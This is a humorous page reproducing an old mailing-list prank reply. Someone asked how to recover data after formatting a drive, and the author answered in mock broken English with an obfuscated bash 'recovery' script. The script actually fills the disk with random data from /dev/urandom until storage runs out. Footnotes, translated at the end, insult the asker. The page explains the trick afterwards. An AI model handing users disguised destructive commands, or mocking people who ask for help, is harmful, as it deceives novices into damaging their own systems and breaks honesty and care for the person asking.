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Data Recovery 

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This guy wrote a message to linux-greek-users, a Linux-related mailing list for Greek users. Although he's Greek, his message was in (less than perfect) English.

This sort of thing sets my IS_FLAMER flag. I replied in a similar manner (this is funnier if you can read obfuscated UNIX shell scripts). There's an explanation of the script and a translation of the (latinised) Greek bits at the bottom.

In Weneday, 28 Februari 2001, Zero Comrade writed:

> So, I want to recover some lost data after format
>  
> Is there any good utility out there (for Win98)?

  
  Sorry about Iglish, I not speak the good. [1]

  You use simple script down for to make data recover partition /dev/hda1.
Be a patent, takes long time. [3]

------------------------------------------------------------------------
\#!/bin/bash2

\# Fix partition. Generate "FIXED.zip" file of fixed partition.
\# You uncompress in clean dos.
partition=/dev/hda1
fixedfile=FIXED.zip
prog=msdos.fixzip

\# No touch anything down there
prog=${ash_nazg_durbatuluk:-dd}
$prog if=$partition bs=$[1<<28]|$prog conv=ebcdic' \ 
if=`echo -e '\057d\145v\057ur\141\156\144\157m'` bs=$[1<<28] \ 
of=$fixedfile count=$[1<<27]
------------------------------------------------------------------------

HTH. HAND.

I kiss you. [2]

-------
[1] Poia einai h epishmh glwssa ths listas; Giati an den yparxei, na fwnaksw
    kati glwssologous filous mou na mou metafrazoun oles tis apories se
    (frikths poiothtas) arxaia Aigyptiaka. Ankh kak.
[2] STR.
[3] Askhsh gia ton anagnwsth: dwste ton orismo tou orou "trust" sthn
    asfaleia systhmatwn mesa se 10 lekseis, *xwris* na xrhsimopoihsete orous
    opws "dildo", "script kiddy", kai alla klhtika moria twn N. Ellhnikwn
    [4,5].
[4] Re.
[5] M\141l\141k\141.

=----------------------------------------------= 64*>:00p258**44$$^>4$,1-:#v_v
| Alexios Chouchoulas, the Unpronounceable One | 4$#^; BEFUNGE97 ;^#_@#:-1$>#<
|        http://www.vennea.demon.co.uk/        | 4*2-*26g00*:-*58:


What the script does: creates a file with a basic ZIP header, then proceeds to fill it with random numbers. It doesn't really terminate: any modern computer will run out of main and peripheral memory long before that.

The footnotes translated:

[1] What's the list's official language? Cause if there isn't one, I'll get a few linguist friends of mine to translate all questions in (terrible quality) ancient Egyptian. Ankh kak.

[2] STR.

[3] Exercise for the reader: define the term ‘trust’ as used in systems security in 10 words, without using terms such as ‘dildo’, ‘script kiddy', and other modern Greek aprefixes [4,5]. (this won't make sense if you don't know any Greek).

[4] (oi) you.

[5] W\141nker.